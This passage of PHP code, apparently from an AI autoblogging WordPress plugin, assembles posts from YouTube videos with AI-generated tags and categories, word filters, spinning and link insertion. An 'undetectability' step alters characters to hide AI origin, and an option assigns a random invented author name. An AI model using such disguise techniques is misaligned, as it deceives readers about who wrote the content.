                                                $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                if($get_img == '' || $get_img === false)
                                                {
                                                    if(isset($aiomatic_Main_Settings['bimage']) && $aiomatic_Main_Settings['bimage'] == 'on')
                                                    {
                                                        $query_words = $keyword_class->keywords($post_title, 1);
                                                        $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 20, true, $raw_img_list, array(), $full_result_list);
                                                        if($get_img == '' || $get_img === false)
                                                        {
                                                            if(isset($aiomatic_Main_Settings['no_royalty_skip']) && $aiomatic_Main_Settings['no_royalty_skip'] == 'on')
                                                            {
                                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                    aiomatic_log_to_file('Skipping importing because no royalty free image found.');
                                                                }
                                                                unset($post_title_lines[$current_index]);
                                                                continue;
                                                            }
                                                        }
                                                    }
                                                    else
                                                    {
                                                        if(isset($aiomatic_Main_Settings['no_royalty_skip']) && $aiomatic_Main_Settings['no_royalty_skip'] == 'on')
                                                        {
                                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                aiomatic_log_to_file('Skipping importing because no royalty free image found.');
                                                            }
                                                            unset($post_title_lines[$current_index]);
                                                            continue;
                                                        }
                                                    }
                                                }
                                            }
                                            if(!empty($get_img))
                                            {
                                                $go_local_image = false;
                                                if(!function_exists('is_plugin_active'))
                                                {
                                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                }
                                                if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on' && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') 
                                                {
                                                    $go_local_image = true;
                                                }
                                                if($go_local_image == true)
                                                {
                                                    $localpath = aiomatic_copy_image_locally($get_img);
                                                    if($localpath !== false)
                                                    {
                                                        $get_img = $localpath[0];
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                                elseif($royalty_free == '2')
                                {
                                    $get_img = $youtube_thumb;
                                }
                                if (isset($aiomatic_Main_Settings['spin_text']) && $aiomatic_Main_Settings['spin_text'] !== 'disabled') 
                                {
                                    $already_spinned = '1';
                                }
                                $my_post                              = array();
                                $my_post['aiomatic_post_image']       = $get_img;
                                if($enable_ai_images == '2')
                                {
                                    $my_post['aiomatic_local_image']      = '1';
                                }
                                else
                                {
                                    $my_post['aiomatic_local_image']      = '0';
                                }
                                $my_post['aiomatic_enable_pingbacks'] = $enable_pingback;
                                $my_post['default_category']          = $default_category;
                                $my_post['post_type']                 = $post_type;
                                $my_post['comment_status']            = $accept_comments;
                                if (isset($aiomatic_Main_Settings['draft_first']) && $aiomatic_Main_Settings['draft_first'] != 'on')
                                {
                                    if($post_status == 'publish')
                                    {
                                        $draft_me = true;
                                        $my_post['post_status'] = 'draft';
                                    }
                                    else
                                    {
                                        $my_post['post_status']   = $post_status;
                                    }
                                }
                                else
                                {
                                    $my_post['post_status']               = $post_status;
                                }
                                if($user_name_type == 'rand')
                                {
                                    $randid = aiomatic_display_random_user();
                                    if($randid === false)
                                    {
                                        $my_post['post_author']               = aiomatic_randomName();
                                    }
                                    else
                                    {
                                        $my_post['post_author']               = $randid->ID;
                                    }
                                }
                                else
                                {
                                    $my_post['post_author']               = $post_user_name;
                                }
                                if($strip_title == '1')
                                {
                                    $new_post_content = str_replace($post_title, '', $new_post_content);
                                    $new_post_content = str_replace('<h2></h2>', '', $new_post_content);
                                    $new_post_content = str_replace('<h3></h3>', '', $new_post_content);
                                }
                                if (isset($aiomatic_Main_Settings['swear_filter']) && $aiomatic_Main_Settings['swear_filter'] == 'on') 
                                {
                                    require_once(dirname(__FILE__) . "/res/swear.php");
                                    $new_post_content = aiomatic_filterwords($new_post_content);
                                }
                                if(isset($aiomatic_Main_Settings['global_ban_words']) && $aiomatic_Main_Settings['global_ban_words'] != '') {
                                    $continue    = false;
                                    $aiomatic_Main_Settings['global_ban_words'] = trim(trim(trim($aiomatic_Main_Settings['global_ban_words']), ','));
                                    $banned_list = explode(',', $aiomatic_Main_Settings['global_ban_words']);
                                    foreach ($banned_list as $banned_word) {
                                        if (stripos($new_post_content, trim($banned_word)) !== FALSE) {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Skipping post "' . esc_html($post_title) . '", because it\'s content contains global banned word: ' . $banned_word);
                                            }
                                            $continue = true;
                                            break;
                                        }
                                        if (stripos($post_title, trim($banned_word)) !== FALSE) {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Skipping post "' . esc_html($post_title) . '", because it\'s title contains global banned word: ' . $banned_word);
                                            }
                                            $continue = true;
                                            break;
                                        }
                                    }
                                    if ($continue === true) {
                                        continue;
                                    }
                                }
                                if(isset($aiomatic_Main_Settings['global_req_words']) && $aiomatic_Main_Settings['global_req_words'] != '')
                                {
                                    if(isset($aiomatic_Main_Settings['require_only_one']) && $aiomatic_Main_Settings['require_only_one'] == 'on')
                                    {
                                        $continue      = true;
                                        $aiomatic_Main_Settings['global_req_words'] = trim(trim(trim($aiomatic_Main_Settings['global_req_words']), ','));
                                        $required_list = explode(',', $aiomatic_Main_Settings['global_req_words']);
                                        foreach ($required_list as $required_word) {
                                            if (stripos($new_post_content, trim($required_word)) !== FALSE || stripos($post_title, trim($required_word)) !== FALSE) {
                                                $continue = false;
                                                break;
                                            }
                                        }
                                        if ($continue === true) {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Skipping post "' . esc_html($post_title) . '", because it\'s content doesn\'t contain global required words.');
                                            }
                                            continue;
                                        }
                                    }
                                    else
                                    {
                                        $continue      = false;
                                        $aiomatic_Main_Settings['global_req_words'] = trim(trim(trim($aiomatic_Main_Settings['global_req_words']), ','));
                                        $required_list = explode(',', $aiomatic_Main_Settings['global_req_words']);
                                        foreach ($required_list as $required_word) {
                                            if (stripos($new_post_content, trim($required_word)) === FALSE && stripos($post_title, trim($required_word)) === FALSE) {
                                                $continue = true;
                                                break;
                                            }
                                        }
                                        if ($continue === true) {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Skipping post "' . esc_html($post_title) . '", because it\'s content doesn\'t contain global required words.');
                                            }
                                            continue;
                                        }
                                    }
                                }
                                $new_post_title = $post_title;
                                if (isset($aiomatic_Main_Settings['spin_what']) && $aiomatic_Main_Settings['spin_what'] === 'omni') 
                                {
                                    $skip_spin = '1';
                                }
                                $arr = aiomatic_spin_and_translate($new_post_title, $new_post_content, '3', $skip_spin, $skip_translate);
                                if($arr[0] != $new_post_title)
                                {
                                    $new_post_title = $arr[0];
                                    if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') 
                                    {
                                        $posts = get_posts(
                                            array(
                                                'post_type'              => $post_type,
                                                'title'                  => html_entity_decode($new_post_title),
                                                'post_status'            => 'all',
                                                'numberposts'            => 1,
                                                'update_post_term_cache' => false,
                                                'update_post_meta_cache' => false,           
                                                'orderby'                => 'post_date ID',
                                                'order'                  => 'ASC',
                                            )
                                        );
                                        if ( ! empty( $posts ) ) {
                                            $zap = $posts[0];
                                        } else {
                                            $zap = null;
                                        }
                                        if($zap !== null)
                                        {
                                            if($overwrite_existing)
                                            {
                                                $update_post_id = $zap->ID;
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Post with specified title already existing (after spin/translate), skipping it: ' . $new_post_title);
                                                unset($post_title_lines[$current_index]);
                                                continue;
                                            }
                                        }
                                    }
                                }
                                $new_post_content            = $arr[1];
                                if (isset($aiomatic_Main_Settings['spin_text']) && $aiomatic_Main_Settings['spin_text'] !== 'disabled') 
                                {
                                    $already_spinned = '1';
                                }
                                if ($auto_categories == 'content') {
                                    $extra_categories            = aiomatic_extractKeyWords($new_post_content);
                                    $extra_categories            = implode(',', $extra_categories);
                                }
                                elseif ($auto_categories == 'title') {
                                    $extra_categories            = aiomatic_extractKeyWords($new_post_title);
                                    $extra_categories            = implode(',', $extra_categories);
                                }
                                elseif ($auto_categories == 'both') {
                                    $extra_categories            = aiomatic_extractKeyWords($new_post_content);
                                    $extra_categories            = implode(',', $extra_categories);
                                    $extra_categories2            = aiomatic_extractKeyWords($new_post_title);
                                    $extra_categories2            = implode(',', $extra_categories2);
                                    if($extra_categories2 != '')
                                    {
                                        $extra_categories .= ',' . $extra_categories2;
                                    }
                                }
                                elseif ($auto_categories == 'ai') 
                                {
                                    $category_ai_command = $orig_ai_command_category;
                                    if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                    {
                                        $category_ai_command = preg_split('/\r\n|\r|\n/', $category_ai_command);
                                        $category_ai_command = array_filter($category_ai_command);
                                        if(count($category_ai_command) > 0)
                                        {
                                            $category_ai_command = $category_ai_command[array_rand($category_ai_command)];
                                        }
                                        else
                                        {
                                            $category_ai_command = '';
                                        }
                                    }
                                    $category_ai_command = aiomatic_replaceSynergyShortcodes($category_ai_command);
                                    if(!empty($category_ai_command))
                                    {
                                        $category_ai_command = replaceAIPostShortcodes($category_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                        $category_ai_command = aiomatic_replace_youtube($category_ai_command, $post_title, $post_desc, $video_url, $returned_caption, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                    }
                                    else
                                    {
                                        $category_ai_command = trim(strip_tags('Write a comma separated list of categories, for the post title: %%post_title%%'));
                                    }
                                    $category_ai_command = trim($category_ai_command);
                                    if (filter_var($category_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($category_ai_command, '.txt'))
                                    {
                                        $txt_content = aiomatic_get_web_page($category_ai_command);
                                        if ($txt_content !== FALSE) 
                                        {
                                            $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                            $txt_content = array_filter($txt_content);
                                            if(count($txt_content) > 0)
                                            {
                                                $txt_content = $txt_content[array_rand($txt_content)];
                                                if(trim($txt_content) != '') 
                                                {
                                                    $category_ai_command = $txt_content;
                                                    $category_ai_command = aiomatic_replaceSynergyShortcodes($category_ai_command);
                                                    $category_ai_command = replaceAIPostShortcodes($category_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                    $category_ai_command = aiomatic_replace_youtube($category_ai_command, $post_title, $post_desc, $video_url, $returned_caption, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                                }
                                            }
                                        }
                                    }
                                    if(empty($category_ai_command))
                                    {
                                        aiomatic_log_to_file('Empty API post category seed expression provided!');
                                    }
                                    else
                                    {
                                        if(strlen($category_ai_command) > $max_seed_tokens * 4)
                                        {
                                            $category_ai_command = aiomatic_substr($category_ai_command, 0, (0 - ($max_seed_tokens * 4)));
                                        }
                                        $category_ai_command = trim($category_ai_command);
                                        if(empty($category_ai_command))
                                        {
                                            aiomatic_log_to_file('Empty API category seed expression provided! ' . print_r($category_ai_command, true));
                                            break;
                                        }
                                        $query_token_count = count(aiomatic_encode($category_ai_command));
                                        $available_tokens = aiomatic_compute_available_tokens($category_model, $max_tokens, $category_ai_command, $query_token_count);
                                        if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                        {
                                            $string_len = strlen($category_ai_command);
                                            $string_len = $string_len / 2;
                                            $string_len = intval(0 - $string_len);
                                            $category_ai_command = aiomatic_substr($category_ai_command, 0, $string_len);
                                            $category_ai_command = trim($category_ai_command);
                                            if(empty($category_ai_command))
                                            {
                                                aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($category_ai_command, true));
                                                break;
                                            }
                                            $query_token_count = count(aiomatic_encode($category_ai_command));
                                            $available_tokens = $max_tokens - $query_token_count;
                                        }
                                        $aierror = '';
                                        $finish_reason = '';
                                        if(!empty($global_prepend))
                                        {
                                            $category_ai_command = $global_prepend . ' ' . $category_ai_command;
                                        }
                                        if(!empty($global_append))
                                        {
                                            $category_ai_command = $category_ai_command . ' ' . $global_append;
                                        }
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $category_model);
                                            aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $category_model . ') for category generator: ' . $category_ai_command);
                                        }
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating categories'));
                                        $generated_text = aiomatic_generate_text($token, $category_model, $category_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'categoryID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false);
                                        if($generated_text === false)
                                        {
                                            aiomatic_log_to_file('Category generator error: ' . $aierror);
                                            break;
                                        }
                                        else
                                        {
                                            $extra_categories = $generated_text;
                                        }
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $category_model);
                                            aiomatic_log_to_file('Successfully got API category result from ' . $api_service . ': ' . $generated_text);
                                        }
                                    }
                                }
                                else
                                {
                                    $extra_categories = '';
                                }
                                $my_post['extra_categories'] = $extra_categories;
                                
                                $item_tags                   = aiomatic_extractKeyWords($new_post_content, 3);
                                $item_tags                   = implode(',', $item_tags);
                                $title_tags                   = aiomatic_extractKeyWords($new_post_title, 3);
                                $title_tags                   = implode(',', $title_tags);
                                $item_create_tag_sp = $spintax->Parse($item_create_tag);
                                if ($can_create_tag == 'content') {
                                    $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . $item_tags;
                                    $my_post['extra_tags']       = $item_tags;
                                } else if ($can_create_tag == 'title') {
                                    $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . $title_tags;
                                    $my_post['extra_tags']       = $title_tags;
                                } else if ($can_create_tag == 'both') {
                                    $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . ($item_tags != '' ? $item_tags . ',' : '') . $title_tags;
                                    $my_post['extra_tags']       = ($item_tags != '' ? $item_tags . ',' : '') . $title_tags;
                                } else if ($can_create_tag == 'ai') {
                                    $ai_tags = '';
                                    $tag_ai_command = $orig_ai_command_tag;
                                    if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                    {
                                        $tag_ai_command = preg_split('/\r\n|\r|\n/', $tag_ai_command);
                                        $tag_ai_command = array_filter($tag_ai_command);
                                        if(count($tag_ai_command) > 0)
                                        {
                                            $tag_ai_command = $tag_ai_command[array_rand($tag_ai_command)];
                                        }
                                        else
                                        {
                                            $tag_ai_command = '';
                                        }
                                    }
                                    $tag_ai_command = aiomatic_replaceSynergyShortcodes($tag_ai_command);
                                    if(!empty($tag_ai_command))
                                    {
                                        $tag_ai_command = replaceAIPostShortcodes($tag_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                        $tag_ai_command = aiomatic_replace_youtube($tag_ai_command, $post_title, $post_desc, $video_url, $returned_caption, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                    }
                                    else
                                    {
                                        $tag_ai_command = trim(strip_tags('Write a comma separated list of tags, for the post title: %%post_title%%'));
                                    }
                                    $tag_ai_command = trim($tag_ai_command);
                                    if (filter_var($tag_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($tag_ai_command, '.txt'))
                                    {
                                        $txt_content = aiomatic_get_web_page($tag_ai_command);
                                        if ($txt_content !== FALSE) 
                                        {
                                            $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                            $txt_content = array_filter($txt_content);
                                            if(count($txt_content) > 0)
                                            {
                                                $txt_content = $txt_content[array_rand($txt_content)];
                                                if(trim($txt_content) != '') 
                                                {
                                                    $tag_ai_command = $txt_content;
                                                    $tag_ai_command = aiomatic_replaceSynergyShortcodes($tag_ai_command);
                                                    $tag_ai_command = replaceAIPostShortcodes($tag_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                    $tag_ai_command = aiomatic_replace_youtube($tag_ai_command, $post_title, $post_desc, $video_url, $returned_caption, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                                }
                                            }
                                        }
                                    }
                                    if(empty($tag_ai_command))
                                    {
                                        aiomatic_log_to_file('Empty API post tag seed expression provided!');
                                    }
                                    else
                                    {
                                        if(strlen($tag_ai_command) > $max_seed_tokens * 4)
                                        {
                                            $tag_ai_command = aiomatic_substr($tag_ai_command, 0, (0 - ($max_seed_tokens * 4)));
                                        }
                                        $tag_ai_command = trim($tag_ai_command);
                                        if(empty($tag_ai_command))
                                        {
                                            aiomatic_log_to_file('Empty API tag seed expression provided! ' . print_r($tag_ai_command, true));
                                            break;
                                        }
                                        $query_token_count = count(aiomatic_encode($tag_ai_command));
                                        $available_tokens = aiomatic_compute_available_tokens($tag_model, $max_tokens, $tag_ai_command, $query_token_count);
                                        if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                        {
                                            $string_len = strlen($tag_ai_command);
                                            $string_len = $string_len / 2;
                                            $string_len = intval(0 - $string_len);
                                            $tag_ai_command = aiomatic_substr($tag_ai_command, 0, $string_len);
                                            $tag_ai_command = trim($tag_ai_command);
                                            if(empty($tag_ai_command))
                                            {
                                                aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($tag_ai_command, true));
                                                break;
                                            }
                                            $query_token_count = count(aiomatic_encode($tag_ai_command));
                                            $available_tokens = $max_tokens - $query_token_count;
                                        }
                                        $aierror = '';
                                        $finish_reason = '';
                                        if(!empty($global_prepend))
                                        {
                                            $tag_ai_command = $global_prepend . ' ' . $tag_ai_command;
                                        }
                                        if(!empty($global_append))
                                        {
                                            $tag_ai_command = $tag_ai_command . ' ' . $global_append;
                                        }
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $tag_model);
                                            aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $tag_model . ') for tag generator: ' . $tag_ai_command);
                                        }
                                        
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating tags'));
                                        $generated_text = aiomatic_generate_text($token, $tag_model, $tag_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'tagID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false);
                                        if($generated_text === false)
                                        {
                                            aiomatic_log_to_file('Tag generator error: ' . $aierror);
                                            break;
                                        }
                                        else
                                        {
                                            $ai_tags = $generated_text;
                                        }
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $tag_model);
                                            aiomatic_log_to_file('Successfully got API tag result from ' . $api_service . ': ' . $generated_text);
                                        }
                                    }
                                    $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . $ai_tags;
                                    $my_post['extra_tags']       = $ai_tags;
                                } else {
                                    $post_the_tags = $item_create_tag_sp;
                                    $my_post['extra_tags']       = '';
                                }
                                $my_post['tags_input'] = $post_the_tags;
                                $new_post_content        = html_entity_decode($new_post_content);
                                $new_post_content = str_replace('</ iframe>', '</iframe>', $new_post_content);
                                if ($strip_by_regex !== '')
                                {
                                    $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex);
                                    $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex);
                                    $xcnt = 0;
                                    foreach($xstrip_by_regex as $sbr)
                                    {
                                        if(isset($xreplace_regex[$xcnt]))
                                        {
                                            $repreg = $xreplace_regex[$xcnt];
                                        }
                                        else
                                        {
                                            $repreg = '';
                                        }
                                        $xcnt++;
                                        $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $new_post_content);
                                        if($temp_cont !== NULL)
                                        {
                                            $new_post_content = $temp_cont;
                                        }
                                    }
                                }
                                $post_prepender = replaceAIPostShortcodes($post_prepend, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                $post_prepender = aiomatic_replace_youtube($post_prepender, $post_title, $post_desc, $video_url, $returned_caption, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                $post_appender = replaceAIPostShortcodes($post_append, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                $post_appender = aiomatic_replace_youtube($post_appender, $post_title, $post_desc, $video_url, $returned_caption, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                $post_appender = aiomatic_replaceSynergyShortcodes($post_appender);
                                $post_prepender = aiomatic_replaceSynergyShortcodes($post_prepender);
                                $zlang = 'en_US';
                                if (isset($aiomatic_Main_Settings['kw_lang']) && !empty($aiomatic_Main_Settings['kw_lang'])) {
                                    $zlang = $aiomatic_Main_Settings['kw_lang'];
                                }
                                $rel_search = array('post_title', 'post_content');
                                if (isset($aiomatic_Main_Settings['rel_search']) && is_array($aiomatic_Main_Settings['rel_search'])) {
                                    $rel_search = $aiomatic_Main_Settings['rel_search'];
                                }
                                if($max_links !== '' && $inboundlinker !== null && $link_type != 'disabled')
                                {
                                    try
                                    {
                                        $new_post_content = $inboundlinker->add_inbound_links($new_post_content, $max_links, $link_post_types, $zlang, $rel_search, null, $link_type, $link_list, $link_nofollow);
                                    }
                                    catch(Exception $ex)
                                    {
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('Failed to add new inbound links to content: ' . $ex->getMessage());
                                        }
                                    }
                                }
                                if($topic_videos == '1' && count($added_vid_list) == 0)
                                {
                                    preg_match("/^(?:http(?:s)?:\/\/)?(?:www\.)?(?:m\.)?(?:youtu\.be\/|youtube\.com\/(?:(?:watch)?\?(?:.*&)?v(?:i)?=|(?:embed|v|vi|user|shorts)\/))([^\?&\"'>]+)/", $video_url, $amatches);
                                    if(isset($amatches[1]))
                                    {
                                        $video_id = $amatches[1];
                                        if (isset($aiomatic_Main_Settings['player_width']) && $aiomatic_Main_Settings['player_width'] !== '') {
                                            $vwidth = esc_attr($aiomatic_Main_Settings['player_width']);
                                        }
                                        else
                                        {
                                            $vwidth = 580;
                                        }
                                        if (isset($aiomatic_Main_Settings['player_height']) && $aiomatic_Main_Settings['player_height'] !== '') {
                                            $vheight = esc_attr($aiomatic_Main_Settings['player_height']);
                                        }
                                        else
                                        {
                                            $vheight = 380;
                                        }
                                        $new_post_content .= '<br/><br/><div class="automaticx-video-container"><iframe title="' . str_replace('"', "'", $new_post_title) . '" allow="autoplay" width="' . $vwidth . '" height="' . $vheight . '" src="https://www.youtube.com/embed/' . $video_id . '" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></div>';
                                        $added_vid_list[] = $video_id;
                                        $new_vid_arr[] = $video_id;
                                        $added_videos++;
                                    }
                                }
                                if (isset($aiomatic_Main_Settings['nlbr_parse']) && $aiomatic_Main_Settings['nlbr_parse'] == 'on')
                                {
                                    $new_post_content =  nl2br($new_post_content);
                                }
                                if (!isset($aiomatic_Main_Settings['no_undetectibility']) || $aiomatic_Main_Settings['no_undetectibility'] != 'on') 
                                {
                                    $new_post_content = aiomatic_remove_parasite_phrases($new_post_content);
                                    if(!isset($xchars))
                                    {
                                        $xchars = array();
                                    }
                                    $rand_percentage = rand(10, 20);
                                    $new_post_content = aiomatic_make_unique($new_post_content, $xchars, $rand_percentage);
                                }
                                if($ret_content == 1)
                                {
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                        aiomatic_log_to_file('Returning AI generated content, finished.');
                                    }
                                    aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Finished processing'));
                                    return array($post_prepender . ' ' . $new_post_content . ' ' . $post_appender, $new_post_title);
                                }
                                $the_final_cont = $post_prepender . ' ' . $new_post_content . ' ' . $post_appender;
                                $my_post['post_content'] = $the_final_cont;
                                if(stristr($my_post['post_content'], '<pre><code><') !== false)
                                {
                                    if (!isset($aiomatic_Main_Settings['pre_code_off']) || trim($aiomatic_Main_Settings['pre_code_off']) != 'on')
                                    {
                                        $my_post['post_content'] = aiomatic_parse_pre_code_entities($my_post['post_content']);
                                    }
                                }
                                $my_post['post_title']           = $new_post_title;
                                $my_post['aiomatic_source_title']   = $video_url;
                                $my_post['aiomatic_timestamp']   = aiomatic_get_date_now();
                                $my_post['aiomatic_post_format'] = $post_format;
                                if (isset($default_category) && $default_category !== 'aiomatic_no_category_12345678' && $default_category[0] !== 'aiomatic_no_category_12345678') 
                                {
                                    if(is_array($default_category))
                                    {
                                        $cextra = '';
                                        foreach($default_category as $dc)
                                        {
                                            $cextra .= ',' . get_cat_name($dc);
                                        }
                                        $extra_categories_temp = trim( $cextra . ',' . $extra_categories, ',');
                                    }
                                    else
                                    {
                                        $extra_categories_temp = trim(get_cat_name($default_category) . ',' .$extra_categories, ',');
                                    }
                                }
                                else
                                {
                                    $extra_categories_temp = $extra_categories;
                                }
                                $block_arr = array();
                                $custom_arr = array();
                                if($custom_fields != '')
                                {
                                    if(stristr($custom_fields, '=>') != false)
                                    {
                                        $rule_arr = explode(',', trim($custom_fields));
                                        foreach($rule_arr as $rule)
                                        {
                                            $my_args = explode('=>', trim($rule));
                                            if(isset($my_args[1]))
                                            {
                                                $my_args[1] = do_shortcode($my_args[1]);
                                                $my_args[0] = do_shortcode($my_args[0]);
                                                $custom_field_content = trim($my_args[1]);
                                                $custom_field_content = replaceAIPostShortcodes($custom_field_content, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                $custom_field_content = aiomatic_replace_youtube($custom_field_content, $post_title, $post_desc, $video_url, $returned_caption, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                                $custom_field_content = aiomatic_replaceSynergyShortcodes($custom_field_content);
                                                $custom_field_content = $spintax->Parse($custom_field_content, $block_arr);
                                                $custom_field_content = aiomatic_replaceContentShortcodes($custom_field_content, $img_attr, $ai_command);
                                                if(stristr($my_args[1], 'serialize_') !== false)
                                                {
                                                    $custom_arr[trim($my_args[0])] = array(str_replace('serialize_', '', $custom_field_content));
                                                }
                                                else
                                                {
                                                    if(stristr($my_args[0], '[') !== false && stristr($my_args[0], ']') !== false)
                                                    {
                                                        preg_match_all('#([^\[\]]*?)\[([^\[\]]*?)\]#', $my_args[0], $cfm);
                                                        if(isset($cfm[2][0]))
                                                        {
                                                            if(isset($custom_arr[trim($cfm[1][0])]) && is_array($custom_arr[trim($cfm[1][0])]))
                                                            {
                                                                $custom_arr[trim($cfm[1][0])] = array_merge($custom_arr[trim($cfm[1][0])], array(trim($cfm[2][0]) => $custom_field_content));
                                                            }
                                                            else
                                                            {
                                                                $custom_arr[trim($cfm[1][0])] = array(trim($cfm[2][0]) => $custom_field_content);
                                                            }
                                                        }
                                                        else
                                                        {
                                                            $custom_arr[trim($my_args[0])] = $custom_field_content;
                                                        }
                                                    }
                                                    else
                                                    {
                                                        $custom_arr[trim($my_args[0])] = $custom_field_content;
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                                $custom_arr = array_merge($custom_arr, array('aiomatic_auto_post_spinned' => $already_spinned, 'aiomatic_post_cats' => $extra_categories_temp, 'aiomatic_post_tags' => $post_the_tags));
                                $custom_tax_arr = array();
                                if($custom_tax != '')
                                {
                                    if(stristr($custom_tax, '=>') != false)
                                    {
                                        $rule_arr = explode(';', trim($custom_tax));
                                        foreach($rule_arr as $rule)
                                        {
                                            $my_args = explode('=>', trim($rule));
                                            if(isset($my_args[1]))
                                            {
                                                $custom_tax_content = trim($my_args[1]);
